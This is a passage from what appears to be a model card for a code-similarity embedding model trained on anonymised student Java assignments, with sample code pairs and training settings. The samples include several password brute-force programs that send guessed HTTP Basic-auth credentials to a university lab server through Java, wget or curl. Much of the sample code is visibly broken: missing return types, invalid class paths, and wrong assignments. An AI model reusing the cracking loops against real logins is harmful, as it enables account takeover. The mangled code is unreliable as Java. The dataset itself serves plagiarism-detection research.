System.out.println("Please enter a \'\' email address, press Enter for default");\n System.out.print("(default: " + strToEmailDefault + "): ");\n\n try\n {\n strToEmail = stdin.readLine();\n }\n catch (Exception e)\n {\n System.err.println(e);\n }\n \n\n System.out.println();\n\n if ( (strToEmail == null) || (strToEmail.length() == 0) )\n {\n System.out.println(" email address was entered."); \n System.out.println("The \'\' email address default : " + strToEmailDefault); \n strToEmail = strToEmailDefault;\n }\n\n else\n {\n System.out.println("The entered \'\' email address is: " + strToEmail); \n }\n\n }\n\n\n\n\n\n\n\n static void writeTextToFile(String strText,\n String strWriteToThisFileName)\n \n {\n\n try\n {\n\n File newFile = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n {\n newFile.delete();\n }\n\n\n BufferedWriter toFile =\n new BufferedWriter(new FileWriter(newFile,\n false));\n\n toFile.write(strText);\n\n toFile.print();\n toFile = null;\n newFile = null;\n\n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n System.out.println("File write problem for \'" + \n strWriteToThisFileName +\n "\'."); \n }\n\n }\n\n\n\n\n\n\n\n static void createDiffFileIfNeeded(String strFileName1, \n String strFileName2)\n \n {\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n \n \n try\n {\n\n Process p = Runtime.getRuntime().exec("./diff_files.sh");\n p.waitFor();\t\n\n }\n\n catch (Exception e)\n {\n System.out.println("Shell script exception");\n System.out.println("----------------------");\n System.err.println(e);\n System.out.println("");\n }\n\n }\n\n\n\n\n\n\n\n static void createImageTextFile(String inputFile, String prePend)\n \n {\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n String str;\n String strImage = "";\n String strImageArray[];\n String strInputFromFile = "";\n String strSearchString = "<img src";\n\n boolean boolContinue = true;\n\n int intImageCounter = 0;\n int intStartSearch = 0;\n\n char ch;\n\n\n\n\n\n strImageArray = new String[1000];\n\n\n\n \n \n try\n {\n\n BufferedReader file =\n new BufferedReader(new FileReader(inputFile));\n\n\n while ( (str = file.readLine()) != null)\n {\n strInputFromFile += str;\n }\n\n file.print();\n file = null;\n\n }\n\n catch (Exception e)\n {\n boolContinue = false;\n System.err.println(e); \n }\t\n\n\n\n if (boolContinue)\n {\n\n strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n while (intStartSearch != -1)\n {\n\n intStartSearch += 8;\n\n while ( (strInputFromFile.charAt(intStartSearch) == \' \') ||\n (strInputFromFile.charAt(intStartSearch) == \'=\') ||\n (strInputFromFile.charAt(intStartSearch) == \'\\"\') )\n {\n intStartSearch++; \n }\n\n while ((strInputFromFile.charAt(intStartSearch) != \'\\"\')) \n {\n\n ch = strInputFromFile.charAt(intStartSearch);\n\n strImage += String.valueOf(ch);\n intStartSearch++;\n\n }\n\n\n if (strImage.startsWith("/"))\n strImage = prePend + strImage; \n\n\n intImageCounter++;\n strImageArray[intImageCounter - 1] = strImage;\n\n strImage = "";\n\n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n }\n\n\n if (inputFile.equals(strWebPageOutputFile01)) \n { \n writeTextArrayToFile(strImageArray, \n strImageOutputFile01,\n intImageCounter);\n }\n else if (inputFile.equals(strWebPageOutputFile02)) \n { \n writeTextArrayToFile(strImageArray, \n strImageOutputFile02,\n intImageCounter);\n }\n\n\n }\n\n }\n\n\n\n\n\n\n\n static void downloadImages(String ImageOutputFile)\n \n {\n\n Process p;\n\n String str;\n String strFileName;\n\n\n\n try \n {\n\n BufferedReader file =\n new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n while ( (str = file.readLine()) != null)\n {\n\n strFileName = getImageFileName(str);\n\n System.out.println(" " + str);\n System.out.println(" file name: " + strFileName); \n\n\n if (fileExists(strFileName))\n deleteFile(strFileName);\n\n\n p = Runtime.getRuntime().exec("wget " + str);\n p.waitFor();\t\n\n }\n\n\n file = null;\n\n }\n\n catch (Exception e)\n {\n System.err.println("downloadingImages: " + e);\n }\n\n }\n\n\n\n\n\n\n\n static String getImageFileName(String imageFileName)\n \n {\n\n \n \n \n\n String strFileName;\n\n int intFileNameLength = imageFileName.length(); \n int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n \n \n while ( (intStartPosOfFileName >= 0) && \n (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n {\n intStartPosOfFileName--; \n }\n\n\n strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n intFileNameLength);\n\n\n return strFileName;\n\n }\n\n\n\n\n\n\n\n static void writeTextArrayToFile(String strTextArray[],\n String strWriteToThisFileName,\n int numberOfImages )\n \n {\n\n boolean boolFirstLineWritten = false;\n\n\n\n try\n {\n\n File newFile = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n {\n newFile.delete();\n }\n\n\n BufferedWriter toFile =\n new BufferedWriter(new FileWriter(newFile,\n false));\n\n for ( int i = 0 ; i < numberOfImages ; i++ )\n {\n\n if (boolFirstLineWritten) \n toFile.newLine();\n else\n boolFirstLineWritten = true;\n \n\n toFile.write(strTextArray[i]);\n\n }\n\n\n toFile.print();\n toFile = null;\n newFile = null;\n\n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n System.out.println("File write problem for \'" + \n strWriteToThisFileName +\n "\'."); \n }\n\n }\n\n\n\n\n\n\n\n static boolean fileExists(String strFileName)\n \n {\n\n boolean boolReturnValue;\n File aFile = new File(strFileName);\n\n\n if (aFile.exists())\n boolReturnValue = true;\n else\n boolReturnValue = false;\n \n\n aFile = null;\n\n\n return boolReturnValue;\n\n }\n\n\n\n\n\n\n\n static void deleteFile(String strFileName)\n \n {\n\n\n if (fileExists(strFileName))\n { \n File aFile = new File(strFileName);\n\n try\n {\n aFile.delete();\n }\n\n catch (Exception e)\n {\n System.err.println(e);\n }\n\n\n aFile = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static void renameFile(String strFromFileName, String strToFileName)\n \n {\n\n\n File from = new File(strFromFileName);\n File to = new File(strToFileName);\n\n\n boolean success = from.renameTo();\n\n\n from = null;\n to = null;\n\n }\n\n\n\n\n\n\n\n static getFileSize(String strFileName)\n \n {\n\n lngReturnValue;\n\n\n\n File file = new File(strFileName);\n \n lngReturnValue = file.length();\n\n file = null;\n\n\n return lngReturnValue;\n\n }\n\n\n\n\n\n\n\n static void sendMailWithDetectedChanges()\n \n {\n\n String str;\n String strInputFromFile = null;\n\n\n\n try \n { \n\n\n BufferedReader fromFile =\n new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n while ( (str = fromFile.readLine()) != null)\n {\n strInputFromFile += str;\n }\n\n fromFile.print();\n fromFile = null;\n\n\n \n \n \n SmtpClient smtp = new SmtpClient(); \n\n \n \n smtp.from(strFromEmail); \n\n \n \n smtp.to(strToEmail); \n\n \n \n PrintStream msg = smtp.startMessage(); \n\n \n \n msg.println(": " + strToEmail); \n\n \n \n msg.println("From: " + strFromEmail); \n msg.println("Subject: Change in website content\\n"); \n msg.println(strInputFromFile); \n\n \n \n \n smtp.closeServer(); \n\n } \n\n catch (IOException e) \n {\n System.err.println(e); \n } \n\n }\n\n}', | |
| 'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n String password="";\n\n int num =401;\n\n\n public static void main (String[] args) {\n\n String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd="";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n \t\t\n \t\t"Usage : java BruteForce <username>");\n \treturn;\n \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println (" " + new Date());\n \n System.out.println ("Using BruteForce method attack "+username+"\'s password.Please waiting.......");\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n System.out.println ("Finish " + new Date());\n \n \treturn;\n\n }\n\n for (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n\n double dt =t1-t0;\n\n\n\n System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n System.out.println ("Finish " + new Date());\n \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n\n \t double dt =t1-t0;\n\n\n\n \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n \n System.out.println ("Finish " + new Date());\n \n \t return;\n\n }\n\n\n }\n\n}\n}\n System.out.println(" not find the password");\n\n}\n\n public BruteForce (String password, String username){\n\n \t String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n \n\n try {\n\n String userPassword = username+":"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty ("Authorization", " " + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}', | |
| ] | |
| embeddings = model.encode(sentences) | |
| print(embeddings.shape) | |
| # [3, 768] | |
| # Get the similarity scores for the embeddings | |
| similarities = model.similarity(embeddings, embeddings) | |
| print(similarities.shape) | |
| # [3, 3] | |
| ``` | |
| <!-- | |
| ### Direct Usage (Transformers) | |
| <details><summary>Click to see the direct usage in Transformers</summary> | |
| </details> | |
| --> | |
| <!-- | |
| ### Downstream Usage (Sentence Transformers) | |
| You can finetune this model on your own dataset. | |
| <details><summary>Click to expand</summary> | |
| </details> | |
| --> | |
| <!-- | |
| ### Out-of-Scope Use | |
| *List how the model may foreseeably be misused and address what users ought not to do with the model.* | |
| --> | |
| <!-- | |
| ## Bias, Risks and Limitations | |
| *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* | |
| --> | |
| <!-- | |
| ### Recommendations | |
| *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* | |
| --> | |
| ## Training Details | |
| ### Training Dataset | |
| #### soco_train_java | |
| * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) | |
| * Size: 30,069 training samples | |
| * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> | |
| * Approximate statistics based on the first 1000 samples: | |
| | | label | text_1 | text_2 | | |
| |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------| | |
| | type | int | string | string | | |
| | details | <ul><li>0: ~99.70%</li><li>1: ~0.30%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 450.65 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 468.5 tokens</li><li>max: 512 tokens</li></ul> | | |
| * Samples: | |
| | label | text_1 | text_2 | | |
| |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | |
| | <code>0</code> | <code><br><br><br><br> <br>import java.io.*;<br>import java.net.*;<br>import java.Runtime;<br>import java.util.*;<br>import java.net.smtp.SmtpClient; <br><br><br><br>public class WatchDog<br><br>{<br><br> static String strImageOutputFile01 = "WebPageImages01.txt";<br> static String strImageOutputFile02 = "WebPageImages02.txt";<br><br> static String strWebPageOutputFile01 = "WebPageOutput01.txt";<br> static String strWebPageOutputFile02 = "WebPageOutput02.txt";<br><br> static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";<br><br> static String strFromEmailDefault = "@.rmit.edu.";<br> static String strToEmailDefault = "@.rmit.edu.";<br><br> static String strFromEmail = null;<br> static String strToEmail = null;<br><br><br><br><br> public static void main (String args[])<br> <br> {<br><br> <br> <br> <br> <br> <br><br> URL url = null;<br> HttpURLConnection urlConnection;<br> int intContentLength;<br> String strWebPageText = "";<br><br> String strURL = "http://www.cs.rmit.edu./students/";<br> String strPrePend = "...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | | |
| | <code>0</code> | <code>import java.util.*;<br>import java.io.*;<br>import java.*;<br><br>public class Dogs5<br>{<br> public static void main(String [] args) throws Exception<br> { <br> executes("rm index.*");<br> executes("wget http://www.cs.rmit.edu./students");<br><br> while (true)<br> {<br> String addr= "wget http://www.cs.rmit.edu./students";<br> executes(addr);<br> String hash1 = md5sum("index.html");<br> String hash2 = md5sum("index.html.1");<br> System.out.println(hash1 +"|"+ hash2);<br> <br> BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));<br><br> String line=" " ;<br> String line1=" " ;<br> String line2=" ";<br> String line3=" ";<br> String[] cad = new String[10];<br> <br> executes("./.sh");<br> <br> int i=0;<br> while ((line = buf.readLine()) != null)<br> {<br> <br> line1="http://www.cs.rmit.edu./students/images"+line;<br> if (i==1)<br> line2="http://www.cs.rmi...</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | | |
| | <code>0</code> | <code><br><br>import java.util.*;<br>import java.text.*;<br>import java.io.*;<br>import java.*;<br>import java.net.*;<br><br>public class WatchDog<br>{<br> public static void main(String args[])<br> {<br> String s = null;<br> String webpage = "http://www.cs.rmit.edu./students/";<br> <br> <br> String file1 = "file1";<br> String file2 = "file2";<br> <br> try<br> {<br> Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);<br> <br> BufferedReader stdInput = new BufferedReader(new <br> InputStreamReader(p.getInputStream()));<br><br> BufferedReader stdError = new BufferedReader(new <br> InputStreamReader(p.getErrorStream()));<br><br> <br> while ((s = stdInput.readLine()) != null) { <br> System.out.println(s);<br> }<br> <br> <br> while ((s = stdError.readLine()) != null) { <br> System.out.println(s);<br> }<br> <br> try<br> {<br> p.waitFor(); <br> }<br> catch...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br>import java.String;<br>import java.Object;<br>import java.awt.*;<br><br><br><br>public class WatchDog<br>{<br> private URL url;<br> private URLConnection urlcon;<br> private int lastModifiedSince = 0;<br> private int lastModified[] = new int[2];<br><br> private int count = 0;<br><br> public static String oldFile;<br> public static String newFile;<br><br> private String diffFile;<br><br> private BufferedWriter bw;<br> private Process p;<br> private Runtime r;<br> private String fileName;<br><br> <br> <br> private ArrayList old[]= new ArrayList[500];<br> private ArrayList news[] = new ArrayList[500];<br> private String info = "";<br> private int index = 0;<br><br> public WatchDog(String fileName)<br> {<br> this.fileName = fileName;<br> oldFile = fileName + ".old";<br> newFile = fileName + ".new";<br> diffFile = "testFile.txt";<br> }<br> public static void main(String args[])<br> {<br> WatchDog wd = new WatchDog("TestDog");<br><br> wd.detectChange(WatchDog.oldFile);<br> while (true)<br> {<br> try<br> {<br> Thread.slee...</code> | | |
| * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) | |
| ### Evaluation Dataset | |
| #### soco_train_java | |
| * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) | |
| * Size: 3,342 evaluation samples | |
| * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> | |
| * Approximate statistics based on the first 1000 samples: | |
| | | label | text_1 | text_2 | | |
| |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | |
| | type | int | string | string | | |
| | details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.11 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.05 tokens</li><li>max: 512 tokens</li></ul> | | |
| * Samples: | |
| | label | text_1 | text_2 | | |
| |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | |
| | <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br> public static void main(String[] args) <br> {<br> Runtime rt = Runtime.getRuntime();<br> Process pr= null;<br> char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> String pass;<br> char temp[] = {'a','a'};<br> char temp1[] = {'a','a','a'};<br> char temp2[] = {'a'};<br><br> String f= new String();<br> String resp = new String();<br> int count=0;<br> String success = new String();<br> InputStreamReader instre;<br> BufferedReader bufread;<br><br><br> for(int k=0;k<52;k++)<br> {<br> temp2[0]=chars[k];<br> pass = new String(temp2); <br> count++; <br><br> System.out.println("The password tried ...</code> | | |
| | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br> private static final int passwdLength = 3; <br> private static String commandLine<br> = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> private int charLen = chars.length(); <br> private int n = 0; <br> private int n3 = charLen*charLen*charLen; <br> private String response;<br> private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br> private char[][] data = new char[passwdLength][charLen];<br> private char[] pwdChar2 = new char[2];<br> private char[] pwdChar = new char[passwdLength];<br> private String url;<br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br>...</code> | | |
| | <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> public static void main (String[] args)<br> {<br> String pw = new String();<br> pw = getPassword ();<br> System.out.println("Password is: "+pw);<br> }<br> public static String getPassword()<br> {<br> String passWord = new String();<br> passWord = "AAA";<br> char[] guess = passWord.toCharArray();<br> Process pro = null;<br> Runtime runtime = Runtime.getRuntime();<br> BufferedReader in = null;<br> String str=null;<br> boolean found = true;<br><br> System.out.println(" attacking.....");<br> for (int i=65;i<=122 ;i++ )<br> {<br> guess[0]=(char)(i);<br> for (int j=65;j<=122 ;j++ )<br> {<br> guess[1]=(char)(j);<br> for (int k=65 ;k<=122 ;k++ )<br> {<br> guess[2]=(char)(k);<br> passWord = new String(guess);<br> String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br> try<br> {<br> pro = runtime.exec(cmd);<br><br> in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code> | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br> private static final String USERNAME = "";<br> private static final char [] POSSIBLE_CHAR =<br> {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br> 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br> 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private static int NUMBER_OF_THREAD = 500;<br><br> private static Date startDate = null;<br> private static Date endDate = null;<br><br> private String address;<br> private String password;<br><br> public BruteForce(String address, String password)<br> {<br> this.address = address;<br> this.password = password;<br> }<br><br> public static void main(String[] args) throws IOException<br> {<br> if (args.length < 1)<br> {<br> System.err.println("Invalid usage!");<br> System.err.println("...</code> | | |
| * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) | |
| ### Training Hyperparameters | |
| #### Non-Default Hyperparameters | |
| - `eval_strategy`: steps | |
| - `per_device_train_batch_size`: 16 | |
| - `per_device_eval_batch_size`: 16 | |
| - `num_train_epochs`: 1 | |
| - `warmup_ratio`: 0.1 | |
| - `fp16`: True | |
| #### All Hyperparameters | |
| <details><summary>Click to expand</summary> | |
| - `overwrite_output_dir`: False | |
| - `do_predict`: False | |
| - `eval_strategy`: steps | |
| - `prediction_loss_only`: True | |
| - `per_device_train_batch_size`: 16 | |
| - `per_device_eval_batch_size`: 16 | |
| - `per_gpu_train_batch_size`: None | |
| - `per_gpu_eval_batch_size`: None | |
| - `gradient_accumulation_steps`: 1 | |
| - `eval_accumulation_steps`: None | |
| - `torch_empty_cache_steps`: None | |
| - `learning_rate`: 5e-05 | |
| - `weight_decay`: 0.0 | |
| - `adam_beta1`: 0.9 | |
| - `adam_beta2`: 0.999 | |
| - `adam_epsilon`: 1e-08 | |
| - `max_grad_norm`: 1.0 | |
| - `num_train_epochs`: 1 | |
| - `max_steps`: -1 | |
| - `lr_scheduler_type`: linear | |
| - `lr_scheduler_kwargs`: {} | |
| - `warmup_ratio`: 0.1 | |
| - `warmup_steps`: 0 | |
| - `log_level`: passive | |
| - `log_level_replica`: warning | |
| - `log_on_each_node`: True | |
| - `logging_nan_inf_filter`: True | |
| - `save_safetensors`: True | |
| - `save_on_each_node`: False | |
| - `save_only_model`: False | |
| - `restore_callback_states_from_checkpoint`: False | |
| - `no_cuda`: False | |
| - `use_cpu`: False | |
| - `use_mps_device`: False | |
| - `seed`: 42 | |
| - `data_seed`: None | |
| - `jit_mode_eval`: False | |
| - `use_ipex`: False | |
| - `bf16`: False | |
| - `fp16`: True | |
| - `fp16_opt_level`: O1 | |
| - `half_precision_backend`: auto | |
| - `bf16_full_eval`: False | |
| - `fp16_full_eval`: False | |
| - `tf32`: None | |
| - `local_rank`: 0 | |
| - `ddp_backend`: None | |
| - `tpu_num_cores`: None | |
| - `tpu_metrics_debug`: False | |
| - `debug`: [] | |
| - `dataloader_drop_last`: False | |
| - `dataloader_num_workers`: 0 | |
| - `dataloader_prefetch_factor`: None | |
| - `past_index`: -1 | |
| - `disable_tqdm`: False | |
| - `remove_unused_columns`: True | |
| - `label_names`: None | |
| - `load_best_model_at_end`: False | |
| - `ignore_data_skip`: False | |
| - `fsdp`: [] | |
| - `fsdp_min_num_params`: 0 | |
| - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} | |
| - `fsdp_transformer_layer_cls_to_wrap`: None | |
| - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} | |
| - `deepspeed`: None | |
| - `label_smoothing_factor`: 0.0 | |
| - `optim`: adamw_torch | |
| - `optim_args`: None | |
| - `adafactor`: False | |
| - `group_by_length`: False | |
| - `length_column_name`: length | |
| - `ddp_find_unused_parameters`: None | |
| - `ddp_bucket_cap_mb`: None | |
| - `ddp_broadcast_buffers`: False | |
| - `dataloader_pin_memory`: True | |
| - `dataloader_persistent_workers`: False | |
| - `skip_memory_metrics`: True | |
| - `use_legacy_prediction_loop`: False | |
| - `push_to_hub`: False | |
| - `resume_from_checkpoint`: None | |
| - `hub_model_id`: None | |
| - `hub_strategy`: every_save | |
| - `hub_private_repo`: None | |
| - `hub_always_push`: False | |
| - `gradient_checkpointing`: False | |
| - `gradient_checkpointing_kwargs`: None | |
| - `include_inputs_for_metrics`: False | |
| - `include_for_metrics`: [] | |
| - `eval_do_concat_batches`: True | |
| - `fp16_backend`: auto | |
| - `push_to_hub_model_id`: None | |
| - `push_to_hub_organization`: None | |
| - `mp_parameters`: | |
| - `auto_find_batch_size`: False | |
| - `full_determinism`: False | |
| - `torchdynamo`: None | |
| - `ray_scope`: last | |
| - `ddp_timeout`: 1800 | |
| - `torch_compile`: False | |
| - `torch_compile_backend`: None | |
| - `torch_compile_mode`: None | |
| - `include_tokens_per_second`: False | |
| - `include_num_input_tokens_seen`: False | |
| - `neftune_noise_alpha`: None | |
| - `optim_target_modules`: None | |
| - `batch_eval_metrics`: False | |
| - `eval_on_start`: False | |
| - `use_liger_kernel`: False | |
| - `eval_use_gather_object`: False | |
| - `average_tokens_across_devices`: False | |
| - `prompts`: None | |
| - `batch_sampler`: batch_sampler | |
